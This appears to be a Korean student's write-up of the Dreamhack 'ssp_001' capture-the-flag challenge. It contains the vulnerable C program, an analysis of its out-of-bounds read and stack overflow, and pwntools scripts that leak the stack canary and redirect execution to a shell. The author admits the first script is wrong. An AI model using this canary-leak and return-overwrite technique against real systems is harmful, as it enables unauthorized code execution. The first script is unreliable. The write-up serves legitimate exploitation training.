ssp_001

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}

void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}

int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while (1) {
        menu();
        read(0, select, 2);
        switch (select[0]) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

함께 실습에서 배운대로 분석하기 

1. 보호기법 탐지 

i386 arch로 설정해줘야 함(리틀엔디언도 적용)
canary 존재

2. 취약점 탐색

void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}

카나리 릭.. /00까지 채워주기

출력 형식 %02x, 2자리 확보 후 소문자 hex값 표시(남은 칸은 0으로 채움)

case 'E':
    printf("Name Size : ");
    scanf("%d", &name_len);
    printf("Name : ");
    read(0, name, name_len);
    return 0;

name size 원하는대로 설정 가능 -> 스택 오버플로우 취약점

void get_shell() {
    system("/bin/sh");
}

get_shell함수 존재 -> ret에 get_shell 덮기

3. 익스플로잇 시나리오

  1. 스택 프레임 구조 파악
  2. get_shell함수 주소 얻기
  3. 카나리 릭
  4. name에 페이로드 작성
  5. 익스플로잇

4. 익스플로잇

  1. 스택 프레임 구조 파악
    box[0x40] | name[0x40] | select[0x2] | idx[0x4] | name_len[0x4] | canary[0x4] | sfp[0x4] | ret[0x4]

  2. get_shell함수 주소 얻기

get_shell address

리틀 엔디언 적용해서 \xb9\x86\x04\x08

  1. 카나리 릭
    A로 41만큼 채우고
    idx 41부터 42,43까지 출력하기
from pwn import *

p=remote('',port) 
context.arch='i386' 

# 카나리 릭 F부분 
p.recvline()
p.recvline()
p.recvline()
p.sendafter(b'> ',b'F')
p.sendafter(b'input : ',b'A'*0x41) 

# 카나리 릭 P부분
cnry=['\x00','','','']
for i in range(41,44):
    p.recvline()
    p.recvline()
    p.recvline()
    p.sendafter(b'> ',b'P')
    s='Element of index '+str(i)+' is : '
    p.recvuntil(s)
    d=recvn(2)
    cnry[i-40]='\x'+d
    
cnry.reverse() #리틀엔디언..
  1. name에 페이로드 작성
payload=b'A'*0x40+cnry[0]+cnry[1]+cnry[2]+cnry[3]+b'\xb9\x86\x04\x08' 

# name 입력 
p.recvline()
p.recvline()
p.recvline()
p.sendafter(b'> ',b'E')
p.sendafter(b'Size : ',len(payload))
p.sendafter(b'Name : ',payload) 

p.interactive()
  1. 익스플로잇
    위에 있는 거 수정해서 아래
from pwn import *

p=remote('host3.dreamhack.games',8443)
context.arch='i386'

# 카나리 릭 F부분
p.recvline()
p.recvline()
p.recvline()
p.sendafter(b'> ',b'F')
p.sendafter(b'input : ',b'A'*0x41)

# 카나리 릭 P부분
cnry=['\x00','','','']
for i in range(41,44):
    p.recvline()
    p.recvline()
    p.recvline()
    p.sendafter(b'> ',b'P')
    p.recvuntil(b' : ')
    d=p.recvn(2)
    cnry[i-40]=r'\x'+d

cnry.reverse() #리틀엔디언..

payload=b'A'*0x40+cnry[0]+cnry[1]+cnry[2]+cnry[3]+b'\xb9\x86\x04\x08'

# name 입력
p.recvline()
p.recvline()
p.recvline()
p.sendafter(b'> ',b'E')
p.sendafter(b'Size : ',len(payload))
p.sendafter(b'Name : ',payload)

p.interactive()

cnry 릭 부분이 잘못된 거 같은데 라업 보는 게 나을 거 같아서 더 안 고침
라업 보니까 익스플로잇 시나리오부터 잘못했음ㅋ..

익스플로잇

OOB: Out Of Boundary 버퍼의 길이 범위를 벗어나는 인덱스 접근

case 'P':
    printf("Element index : ");
    scanf("%d", &idx);
    print_box(box, idx);
    break;

OOB 취약점 존재

canary 값은 128부터 시작(널 바이트)
왜인가 했더니 dummy 값들이 존재…
스택 프레임 구조가 다음과 같았음
idx[0x4] | name_len[0x4] | select[0x2] | box[0x40] | name[0x40] | canary[0x4] | dummy[0x4] | ebp[0x4] | ret[0x4]

스택 분석 꼭 하고 넘어가자 모르는 더미값이 있을 수도 있고 할당된 버퍼가 다를 수도 있음

from pwn import *

# p = process("./ssp_001.txt")
p = remote("host3.dreamhack.games", 8443)

def can(i):
    p.sendafter(b">", b"P")
    p.sendlineafter(b":", str(i))
    p.recvuntil(b": ")
    return (int(p.recv(2), 16))

getshell= 0x080486b9
canary = can(129)
canary1 = can(130)
canary2 = can(131)

print(hex(canary))
print(hex(canary1))
print(hex(canary2))
realcan = canary2 * 0x1000000 + canary1 * 0x10000 + canary * 0x100
print(hex(realcan))

p.sendafter(b">", b"E")
p.sendlineafter(b": ", b"1000")
pause()
p.sendafter(b": ", b'a' * (128 - 0x40) + p32(realcan) + b'a' * 8 + p32(getshell))

p.interactive()

Exploit Result